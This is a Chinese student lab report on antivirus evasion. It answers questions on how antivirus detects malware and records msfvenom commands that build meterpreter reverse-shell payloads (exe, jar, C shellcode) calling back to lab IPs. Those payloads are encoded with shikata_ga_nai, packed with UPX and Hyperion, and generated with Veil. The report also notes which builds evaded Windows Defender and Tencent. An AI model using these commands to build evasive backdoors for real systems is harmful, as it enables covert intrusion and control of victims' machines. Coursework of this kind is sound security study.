《网络对抗》Exp3 免杀原理
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
通过检测特征码(特定代码的某部分不变的数据),启发式检测恶意软件(通用性但代价大),检测恶意软件的行为(属于启发式不过突出了行为的检测)这三种方式检测出恶意代码的
(2)免杀是做什么?
针对检测技术,通过多种方式使恶意代码不能被杀软检测出来。
(3)免杀的基本方法有哪些?
改变特征码
改变行为
使用有漏洞的应用
使用社工类攻击,诱使目标关闭杀软
纯手工打造恶意软件并去除明显的特征码
2.实践总结与体会
通过视频以及实践,明白了可以怎样做免杀,以及利用一些网站检测程序是否有一些特征码。做了一遍,在veil中除了cs语言重写的meterpreter,其他都没有被杀软检测出来(我的是腾讯管家+Windows Defender),但是运行有问题,要不就是点运行没反应,要不如ruby没签名,就是免杀第一步做出来了,但运行不行。
3.开启杀软能绝对防止电脑中恶意代码吗?
不能,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。我认为软件都有错误,运行中也可能出错,所以即使可能有后门且后门已经加入特征库,在特殊情况下也可能检测不出来。
4.实践过程记录
4.1生成其他文件
-
生成exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=433 -f exe > met.exe msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.0.113 LPORT=443 -f exe > met2.exe msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.0.113 LPORT=443 -f exe > met2_encoded10.exe
-
生成jar
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.43.66 LPORT=7000 -f jar > x86_me_rev_tcp.jar
-
生成C语言shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.113 LPORT=7000 -f c
4.2使用veil,加壳工具
-
使用cs生成
-
使用C生成
-
使用go生成
-
使用ruby生成
-
使用powershell生成
-
upx加壳
upx met.exe -o met_upx.exe
-
hyperion加壳(先进入
/usr/share/windows-resources/hyperion
目录,但我觉得这应该是wine启动路径的问题,修改后可以不进这个目录)wine hyperion.exe -k 16 ~/Anti-Network/exp3/met.exe ~/Anti-Network/exp3/met_heperion.exe
重装几次后就一直如此,怀疑是没有卸载干净,但卸载了好几遍仍然有错
4.3使用使用C + shellcode编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=1312 -f c
i686-w64-mingw32-gcc -o met_c.exe met.c
msf连接成功
4.4通过组合应用各种技术实现恶意代码免杀
思路:
用msfvenom生成shellcode,在windows下编译,编译成功后运行,在kali用msfconsole监听
msf连接成功
同样的代码相比于kali下交叉编译,被识别更少
当把生产的exe文件移出codeblock工程目录就被腾讯管家检测出来